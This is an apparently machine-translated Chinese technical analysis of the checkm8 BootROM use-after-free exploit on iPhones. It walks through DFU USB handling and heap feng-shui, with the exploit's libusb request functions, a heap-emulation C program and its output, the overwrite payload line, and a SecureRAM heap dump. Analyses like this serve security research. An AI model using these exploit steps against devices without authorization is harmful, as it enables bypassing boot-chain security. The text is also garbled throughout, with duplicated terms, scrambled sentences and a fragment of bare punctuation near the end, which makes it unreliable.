您很有可能已经听说过耸人听闻的checkm8攻击,该漏洞在包括iPhone X
在内BootROM
大多数iDevices的BootROM
使用了不可恢复的漏洞iPhone X
在本文中,我们将对漏洞利用进行技术分析,并研究漏洞的原因。 任何有兴趣的人-欢迎大家切入!
您可以在此处阅读该文章的英文版。
引言
首先,我们将简要描述iDevice引导过程,并找出BootROM
在其中的位置(也可以称为SecureROM
)以及为什么需要它。 有关此的详细信息在这里 。 简化的启动过程可以表示如下:

BootROM
是处理器执行的第一件事。 BootROM
的主要任务:
- 平台的初始化(设置必要的平台寄存器,初始化
CPU
等) - 验证并将控制权转移到下一个加载阶段
BootROM
支持IMG3/IMG4
映像的解析BootROM
可以访问用于解密映像的GID
密钥- 为了检查图像,
Apple
公用密钥内置在BootROM
,并且具有使用加密的必要功能。
- 如果无法进一步下载,请恢复设备(
Device Firmware Update
, DFU
)
BootROM
体积非常小,可以称为iBoot
的精简版,因为它们共享大多数系统代码和库代码。 但是,与iBoot
不同, BootROM
无法更新。 制造设备时,它被放置在内部只读存储器中。 BootROM
是引导链信任的硬件根。 它中的漏洞可能使您可以控制进一步的下载过程,并在设备上执行未签名的代码。

checkm8的外观
checkm8
漏洞已由其作者axi0mX于2019年9月27日添加到ipwndfu实用程序中。然后他宣布其Twitter帐户进行了更新,并附有对该漏洞的描述和其他信息。 您可以从线程中发现作者在2018年夏季的iBoot
for iOS 12 beta
的补丁发布iBoot
发现了USB
代码中的use-after-free
漏洞。 如前所述, BootROM
和iBoot
有很多通用代码,包括USB
代码,这就是为什么此漏洞也与BootROM
相关的原因。
从漏洞利用代码还可以看出,该漏洞是在DFU
利用的。 在这种模式下,可以通过USB
将签名的图像传输到设备,随后将其下载。 例如,如果更新失败,则可能需要还原设备。
在同一天, littlelailo报告说他在3月发现了此漏洞,并将其描述发布在apollo.txt文件中。 该描述与checkm8
代码中发生的情况相对应,但未完全阐明漏洞利用的细节。 因此,我们决定写这篇文章,并描述操作的所有细节,直到在BootROM
包括BootROM
执行有效负载为止。
我们根据之前提到的材料以及2018年2月泄漏的iBoot/SecureROM
源代码进行了漏洞利用分析。 我们还使用了在我们的测试设备iPhone 7
( CPID:8010
)上通过实验获得的数据。 使用checkm8
我们从其中删除了SecureROM
和SecureRAM
转储,这有助于我们进行分析。
基本的USB知识
检测到的漏洞在USB
代码中,因此需要有关此接口的一些知识。 您可以在此处阅读完整的规范,但内容很多。 NutShell中的USB是一种出色的材料,足以进一步理解。 这里我们只给出最必要的。
USB
数据传输有多种类型。 DFU
仅使用“ Control Transfers
模式(您可以在此处阅读有关内容)。 此模式下的每个事务都包括三个阶段:
Setup Stage
-在此阶段,将发送SETUP
数据包,该数据包包含以下字段:
bmRequestType
描述请求的方向,类型和接收者bRequest
确定发出哪个请求wValue
, wIndex
根据请求,可以对它们进行不同的解释wLength
Data Stage
中接收/发送的数据的长度
Data Stage
-发生数据传输的可选阶段。 根据前一阶段的SETUP
数据包,这可能是从主机向设备发送数据( OUT
),反之亦然( IN
)。 数据按小部分发送(对于Apple DFU
,为0x40字节)。
- 当主机要传输下一批数据时,它将发送一个
OUT
令牌,然后发送数据本身。 - 当主机准备好从设备接收数据时,它会发送一个
IN
令牌,以响应设备发送数据。
Status Stage
-报告整个交易状态的最后阶段。
- 对于
OUT
请求,主机发送一个IN
令牌,作为响应,设备应发送零长度的数据包。 - 对于
IN
请求,主机发送OUT
令牌和零长度数据包。
下图显示了OUT
和IN
查询。 我们有意从描述和交互方案中删除了ACK
, NACK
和其他握手包,因为它们在漏洞利用程序本身中没有特殊作用。

分析apollo.txt
我们通过分析apollo.txt文档中的漏洞开始分析。 它描述了DFU
模式的算法:
https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
- 当USB开始通过dfu获取图像时,dfu注册一个接口来处理所有命令,并为输入和输出分配一个缓冲区。
- 如果您将数据发送到dfu,则设置包将由主代码处理,然后调出接口代码
- 接口代码验证wLength短于输入输出缓冲区的长度,如果是这种情况,它将使用指向输入输出缓冲区的指针更新作为参数传递的指针
- 然后返回wLength,这是它要接收到缓冲区的长度
- 然后,USB主代码使用长度更新全局变量,并准备好接收数据包
- 如果接收到数据包,则通过作为参数传递的指针将其写入输入输出缓冲区,并使用另一个全局变量来跟踪已经接收了多少字节
- 如果接收到所有数据,则再次调用特定于dfu的代码,然后继续将输入输出缓冲区的内容复制到以后从中引导映像的内存位置
- 之后,usb代码将重置所有变量,然后继续处理新软件包
- 如果dfu退出,则释放输入输出缓冲区,并且如果映像解析失败,则bootrom重新输入dfu
首先,我们将描述的步骤与iBoot
源代码进行了比较。 由于我们无法在本文中使用泄漏的源代码片段,因此我们将在IDA
显示通过iPhone 7
SecureROM
反向工程获得的伪代码。 您可以轻松找到iBoot
的源代码并进行导航。
初始化DFU
模式后,将分配IO
缓冲区并注册USB
接口以处理对DFU
请求:

当SETUP
请求数据包到达DFU
,将调用相应的接口处理程序。 如果成功执行OUT
请求(例如,在图像传输期间),则处理程序必须返回用于事务的IO
缓冲区的地址以及它希望通过指针接收的数据大小。 在这种情况下,缓冲区地址和期望数据的大小存储在全局变量中。

DFU
的接口处理程序如下图所示。 如果请求正确,那么指针将返回在DFU
初始化阶段分配的IO
缓冲区的地址以及从SETUP
数据包中获取的预期数据的长度。

在Data Stage
每条数据写入IO
缓冲区,然后IO
缓冲区的地址被移位并更新接收到的数据的计数器。 接收到所有预期数据后,将调用接口数据处理程序,并清除全局传输状态。

在DFU
数据处理程序中,将接收到的数据移到将继续下载的存储区。 从iBoot
源代码来看, Apple
此存储区称为INSECURE_MEMORY
。

退出DFU
模式时,先前分配的IO
缓冲区将被释放。 如果在DFU
模式下成功接收到图像,将对其进行检查和加载。 如果在DFU
模式的操作过程中发生了一些错误,或者无法加载生成的图像,则DFU
将重新初始化,并且一切将重新开始。
在所描述的算法中存在无用use-after-free
漏洞。 如果在引导时发送SETUP
数据包并跳过Data Stage
完成事务,则在重新进入DFU
周期后,全局状态将保持初始化,并且我们将能够写入在先前DFU
迭代中分配的IO
缓冲区的地址。
处理了“ use-after-free
漏洞后,我们想知道:如何在DFU
的下一次迭代期间覆盖某些内容? 毕竟,在重新初始化DFU
之前,必须释放所有先前分配的资源,并且新迭代中的内存位置应该完全相同。 事实证明,还有另一个有趣且非常漂亮的内存泄漏错误,该错误允许利用无用use-after-free
漏洞,我们将在后面讨论。
Checkm8分析
我们直接进行对checkm8
利用的分析。 为简单起见,我们将分析iPhone 7
漏洞的修改版,其中删除了与其他平台关联的代码,更改了USB
请求的顺序和类型,而不会丢失该漏洞。 同样在此版本中,删除了构造有效负载的过程,可以在原始的checkm8.py
文件中找到它。 了解其他设备的版本之间的差异应该不难。
checkm8
工作可以分为几个阶段:
- 堆准备(
heap feng-shui
) - 在不清除全局状态的情况下分配和释放
IO
缓冲区 use-after-free
覆盖功能覆盖usb_device_io_request
- 有效负载放置
callback-chain
执行shellcode
执行
详细考虑每个阶段。
1.堆准备(堆风水)
在我们看来,这是最有趣的阶段,我们对此格外注意。
stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device)
此步骤对于实现use-after-free
操作的便利堆状态是必需的。 首先,请考虑调用stall
, leak
, no_leak
:
def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)
libusb1_no_error_ctrl_transfer
是libusb1_no_error_ctrl_transfer
的包装,其中忽略了执行请求时发生的任何异常。 libusb1_async_ctrl_transfer
- libusb
的libusb_submit_transfer
函数的包装,用于异步查询执行。
这两个调用均接受以下参数:
- 设备实例
SETUP
包的数据(它们的描述在此处 ):
bmRequestType
bRequest
wValue
wIndex
- 数据大小(
wLength
)或Data Stage
- 请求超时
参数bmRequestType
, bRequest
, wValue
和wIndex
对于这三种查询都是通用的。 他们的意思是:
bmRequestType = 0x80
0b1XXXXXXX
Data Stage
从设备到主机(设备到主机)的方向0bX00XXXXX
标准请求类型0bXXX00000
请求的接收者-设备
bRequest = 6
请求描述符( GET_DESCRIPTOR
)wValue = 0x304
wValueHigh = 0x3
确定要接收的描述符的类型-字符串( USB_DT_STRING
)wValueLow = 0x4
是字符串描述符的索引,4对应于设备的序列号(在这种情况下,字符串看起来像CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33]
)
wIndex = 0x40A
字符串语言的标识符,其值对于操作并不重要,可以更改。
对于这三个请求中的任何一个,在堆上都会为以下结构的对象分配0x30字节:

该对象最有趣的字段是callback
和next
。
callback
指向在请求完成时将被调用的函数的指针。next
指向相同类型的下一个对象的指针,对于排队请求是必需的。
调用stall
关键功能是使用请求的异步执行,并以最小的超时时间进行。 因此,如果幸运的话,该请求将在OS级别被取消,并将保留在执行队列中,并且事务将无法完成。 同时,设备将继续接受所有传入的SETUP
数据包,并在必要时将其放入执行队列中。 后来,通过使用Arduino
上的USB
进行实验Arduino
我们发现主机必须发送SETUP
数据包和IN
令牌才能成功操作,然后必须通过超时取消事务。 在示意图上,这种不完整的交易可以表示为:
其余请求的长度仅相差一。 事实是,对于标准查询,存在一个标准callback
,如下所示:

io_length
值等于请求的SETUP
数据包中的wLength
的最小值和所请求描述符的原始长度。 由于描述符足够长,因此我们可以将io_length
值精确控制在其长度内。 g_setup_request.wLength
的值等于最后一个SETUP
数据包的wLength
的值,在这种情况下为0xC1
。
因此,在使用stall
和leak
调用生成的查询完成时,满足了最终callback
函数中的条件,并usb_core_send_zlp()
。 该调用仅创建一个zero-length-packet
,并将其添加到执行队列中。 这对于在Status Stage
正确完成事务是必要的。
该请求以对usb_core_complete_endpoint_io
函数的调用结束,该函数首先调用callback
,然后释放请求内存。 在这种情况下,请求的完成不仅可以在整个事务实际完成时发生,而且可以在重置USB
时发生。 收到USB
重置信号后,请求队列将被绕过,并且每个请求队列都将完成。
由于对usb_core_send_zlp()
的选择性调用,绕过了请求队列然后释放了它们,因此您可以实现足够的堆控制,以进行释放use-after-free
操作。 首先,让我们看一下发布周期本身:

首先清除请求队列,然后对取消的请求进行usb_core_complete_endpoint_io
,并通过调用usb_core_complete_endpoint_io
完成usb_core_complete_endpoint_io
。 同时,将使用usb_core_send_zlp
选择的请求放置在ep->io_head
。 USB
重置过程完成后,有关端点的所有信息都将被重置,包括io_head
和io_tail
,零长度请求将保留在堆中。 因此,您可以在堆其余部分的中间创建一个小的块。 下图显示了这种情况:

SecureROM
的堆的设计方式是从合适的最小大小的空闲块中分配一个新的存储区。 通过上述方法创建一个小的空闲块,可以影响USB
初始化期间的内存分配以及io_buffer
和请求的分配。
为了更好地理解,让我们找出在DFU
初始化期间发生了哪些堆请求。 在分析iBoot
源代码和iBoot
逆向工程的过程中SecureROM
我们设法获得了以下顺序:
- 分配各种字符串描述符
- 1.1。
Nonce
(大小234
) - 1.2。
Manufacturer
( 22
) - 1.3。
Product
( 62
) - 1.4。
Serial Number
( 198
) - 1.5。
Configuration string
( 62
)
- 与创建
USB
任务相关的分配
- 2.1。 任务结构(
0x3c0
) - 2.2。 堆栈任务(
0x1000
)
io_buffer
( 0x800
)
- 配置描述符
- 4.1。
High-Speed
( 25
) - 4.2。
Full-Speed
( 25
)
然后是请求结构的分配。 如果堆空间的中间有一个小块,则第一类的一些分配将进入该块,所有其他分配将移动,因此我们可能会溢出usb_device_io_request
,这是指旧缓冲区。 可以用以下方式表示:

为了计算必要的偏差,我们决定简单地模拟上面列出的分配,略微修改iBoot
堆的源代码。
DFU堆仿真 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
在heap feng-shui
阶段有8个请求的程序输出:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
下一个usb_device_io_request
将与前一个缓冲区的起始位置偏移0x5c0
,这与利用代码相对应:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 